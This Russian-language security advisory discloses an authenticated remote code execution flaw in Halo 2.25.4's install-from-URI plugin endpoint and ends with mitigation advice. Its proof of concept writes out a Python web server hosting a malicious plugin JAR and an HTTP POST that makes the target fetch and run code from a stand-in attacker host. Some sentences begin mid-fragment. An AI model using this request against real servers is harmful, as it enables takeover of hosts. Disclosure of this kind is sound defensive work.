
Демонстрирует аутентифицированную уязвимость удалённого выполнения кода в Halo 2.25.4 через непроверенную установку URI плагина, включая технический анализ и эксплойт с доказательством концепции.
Критическая уязвимость безопасности обнаружена в версии Halo 2.25.4. Приложение предоставляет административную конечную точку для установки или обновления плагинов из удалённого URI. Однако система не проверяет исходный домен URI и не имеет защиты от Server-Side Request Forgery (SSRF) на этом конкретном компоненте. Аутентифицированный злоумышленник с правами управления плагинами может указать ссылку на вредоносный JAR-файл плагина. Сервер загрузит, временно сохранит и динамически загрузит JAR-файл в контекст JVM с помощью фреймворка PF4J и Spring DefaultPluginApplicationContextFactory. Это позволяет выполнять недоверенные классы расширений, что приводит к произвольному удалённому выполнению кода (RCE) на базовой операционной системе хоста.
CVSS:3.1/AV:N/AC:L/PR:H/UI:N/S:C/C:H/I:H/A:HПожалуйста, разделите запятыми при отправке в форму CVE:
Plaintext
PluginEndpoint.java, installFromUri method, DefaultPluginApplicationContextFactory
Аутентифицированный администратор может отправить специально сформированный HTTP POST-запрос, содержащий URL вредоносного удалённого JAR-файла плагина, на конечную точку /apis/api.console.halo.run/v1alpha1/plugins/-/install-from-uri.
Удалённое выполнение кода происходит через следующую последовательность операций:
PluginEndpoint.installFromUri() обрабатывает входящее тело запроса (InstallFromUriRequest) и извлекает строку uri, предоставленную пользователем. Фильтрация по белому списку доменов не применяется.DefaultReactiveUrlDataBufferFetcher.fetch(uri). В отличие от других внутренних сетевых компонентов Halo, этот загрузчик не вызывает HttpSecurityUtils.secureHttpClient(), пропуская ограничения на внутренние частные сети/loopback IP-адреса (защита SSRF).writeToTempFile(content).pluginService.install(path), который использует PF4J JarPluginLoader для распаковки и загрузки JAR-файла.DefaultPluginApplicationContextFactory автоматически анализирует метаданные внутри plugin.yaml плагина и регистрирует все объявленные классы расширений в контексте приложения как активные Spring Beans.static {}) класса расширения или в методах, аннотированных @PostConstruct, будет немедленно выполнен при создании экземпляра через Runtime.getRuntime().exec().PluginEndpoint.java, строки 422-428):Java
var content = request.bodyToMono(InstallFromUriRequest.class)
.map(InstallFromUriRequest::uri)
.flatMapMany(reactiveUrlDataBufferFetcher::fetch); // Непроверенная сетевая загрузка
return Mono.usingWhen(writeToTempFile(content), pluginService::install, this::deleteFileIfExists);
Злоумышленник компилирует стандартный JAR-файл плагина PF4J/Halo (poc-plugin.jar), содержащий класс расширения с механизмом выполнения полезной нагрузки внутри хука жизненного цикла @PostConstruct или статического блока. Злоумышленник размещает его на внешнем слушателе:
Bash
python3 -m http.server 9999
Аутентифицированный административный пользователь отправляет следующий HTTP-запрос на целевой сервер Halo:
HTTP
POST /apis/api.console.halo.run/v1alpha1/plugins/-/install-from-uri HTTP/1.1
Host: <target-ip>:8090
Authorization: Bearer <ADMIN_TOKEN_HERE>
Content-Type: application/json
{
"uri": "http://<attacker-ip>:9999/poc-plugin.jar"
}
Сервер обрабатывает установку, загружает артефакт с сервера злоумышленника, регистрирует расширение и выполняет скомпилированную системную команду, компрометируя целевой хост.


application.yaml) и хранящимся файлам.uri. Ограничьте схемы удалённой установки проверенными, доверенными официальными маркетплейсами экосистемы (например, https://awesome.halo.run).DefaultReactiveUrlDataBufferFetcher для использования существующей утилиты HttpSecurityUtils.secureHttpClient() с целью отклонения запросов, указывающих на loopback (127.0.0.1), link-local (169.254.169.254) или частные сети класса (10.0.0.0/8, 192.168.0.0/16).JarPluginLoader должен проверять хэши файлов или криптографические подписи с использованием открытых ключей, предоставленных официальным репозиторием, перед передачей их в DefaultPluginApplicationContextFactory для создания контекста.